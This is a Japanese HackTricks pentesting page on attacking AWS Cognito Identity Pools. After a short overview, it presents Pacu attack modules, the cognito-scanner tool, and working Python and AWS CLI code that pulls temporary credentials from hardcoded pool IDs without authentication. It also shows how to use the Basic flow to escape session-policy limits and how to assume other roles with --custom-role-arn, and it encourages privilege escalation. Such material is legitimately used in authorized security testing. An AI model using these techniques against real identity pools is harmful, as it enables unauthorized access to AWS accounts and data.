Cognito Identity Pools

HackTricksのサポート

基本情報

Identity poolsは、ユーザーが一時的な資格情報を取得できるようにすることで重要な役割を果たします。これらの資格情報は、Amazon S3やDynamoDBなどのさまざまなAWSサービスにアクセスするために必要です。Identity poolsの注目すべき機能の1つは、匿名のゲストユーザーとユーザー認証のためのさまざまなアイデンティティプロバイダーのサポートです。サポートされているアイデンティティプロバイダーには以下が含まれます:

  • Amazon Cognitoユーザープール

  • Facebook、Google、Login with Amazon、Sign in with Appleなどのソーシャルサインインオプション

  • OpenID Connect(OIDC)に準拠したプロバイダー

  • SAML(Security Assertion Markup Language)アイデンティティプロバイダー

  • 開発者認証済みのアイデンティティ

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Poolセッションを生成するには、まずIdentity IDを生成する必要があります。このIdentity IDは、そのユーザーのセッションの識別です。これらの識別には、最大20のデータセットを持つことができ、1MBのキーと値のペアを保存できます。

これは、ユーザーの情報を保持するのに便利です(常に同じIdentity IDを使用するユーザー)。

さらに、サービスcognito-syncは、この情報を管理および同期するためのサービスです(データセット内で情報を送信し、ストリームやSNSメッセージに情報を送信する)。

ペンテストツール

  • Pacu、AWSの脆弱性検出フレームワークには、現在、アカウント内のすべてのCognitoアセットの列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、変更可能なカスタム属性、使用可能なIdentity Pool資格情報、IDトークン内の仮定可能なロールなどに基づいて、ユーザーの作成(MFAサポートを含む)と特権昇格を自動化する「cognito__enum」と「cognito__attack」モジュールが含まれています。

モジュールの機能の説明については、ブログ記事の第2部を参照してください。インストール手順については、メインのPacuページを参照してください。

使用方法

指定されたIdentity Poolとユーザープールクライアントに対してユーザーの作成とすべての特権昇格ベクトルを試行するためのcognito__attackの使用例:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

サンプルcognito__enumの使用方法を示します。現在のAWSアカウントで表示されているすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します。

Pacu (new:test) > run cognito__enum
  • Cognito Scanner は、Cognito 上でのさまざまな攻撃を実装した Python の CLI ツールであり、望ましくないアカウント作成やアイデンティティプールのエスカレーションを含みます。

インストール

$ pip install cognito-scanner

使用法

$ cognito-scanner --help

詳細については、https://github.com/padok-team/cognito-scanner を参照してください。

IAMロールへのアクセス

認証されていない

CognitoアプリでAWS資格情報を取得するために攻撃者が知る必要がある唯一のものは、Identity Pool IDであり、このIDはWeb/モバイルアプリケーションにハードコードされている必要があります。IDは次のように見えます:eu-west-1:098e5341-8364-038d-16de-1865e435da3b(ブルートフォースできません)。

IAM Cognito未認証ロールはデフォルトでCognito_<Identity Pool name>Unauth_Roleと呼ばれます。

ハードコードされたIdentity Pools IDを見つけ、認証されていないユーザーを許可している場合、次の手順でAWS資格情報を取得できます:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

または、次のaws cliコマンドを使用できます:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

デフォルトでは、未認証のCognitoユーザーはポリシーを介して割り当てられた場合でも、権限を持つことはできません。以下のセクションを確認してください。

強化認証フローと基本認証フロー

前のセクションでは、デフォルトの強化認証フローに従いました。このフローは、生成されたIAMロールセッションに制限があるセッションポリシーを設定します。このポリシーでは、セッションがこのリストからのサービスのみを使用できるようにします(ロールが他のサービスにアクセスできる場合でも)。

ただし、Identity poolが"Basic (Classic) Flow"を有効にしている場合、ユーザーはそのフローを使用してセッションを取得でき、そのセッションにはその制限のあるセッションポリシーが適用されません

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

このエラーを受け取った場合、**基本フローが有効になっていない(デフォルト)**ためです。

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM資格情報を持っている場合は、どのアクセス権限を持っているかを確認し、特権を昇格しようとしてください。

認証済み

認証済みユーザーはおそらく異なる権限が付与されるため、アプリ内でサインアップできる場合は、それを試して新しい資格情報を取得してください。

認証済みユーザーがアクセスするIdentity Poolにはロールも利用可能かもしれません。

そのためにはアイデンティティプロバイダへのアクセスが必要です。それがCognitoユーザープールである場合、デフォルトの動作を悪用して新しいユーザーを作成することができるかもしれません。

IAM Cognito認証済みロールはデフォルトでCognito_<Identity Pool name>Auth_Roleと呼ばれます。

とにかく、次の例では、すでにCognitoユーザープールにログインしてIdentity Poolにアクセスしていることを想定しています(他のタイプのアイデンティティプロバイダも構成されている可能性があることを忘れないでください)。

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# 前のコマンドの応答からidentity_idを取得
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# IdTokenには、ユーザープールグループのためにユーザーがアクセスできるロールが含まれています
# 特定のロールに対して資格情報を取得するには--custom-role-arnを使用します
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

ユーザーがログインしているアイデンティティプロバイダによって異なるIAMロールを構成することが可能です。また、クレームを使用してユーザーによっても異なるIAMロールを構成することも可能です。したがって、同じまたは異なるプロバイダを介して異なるユーザーにアクセス権がある場合は、すべてのユーザーのIAMロールにログインしてアクセスする価値があるかもしれません

HackTricksのサポート

Last updated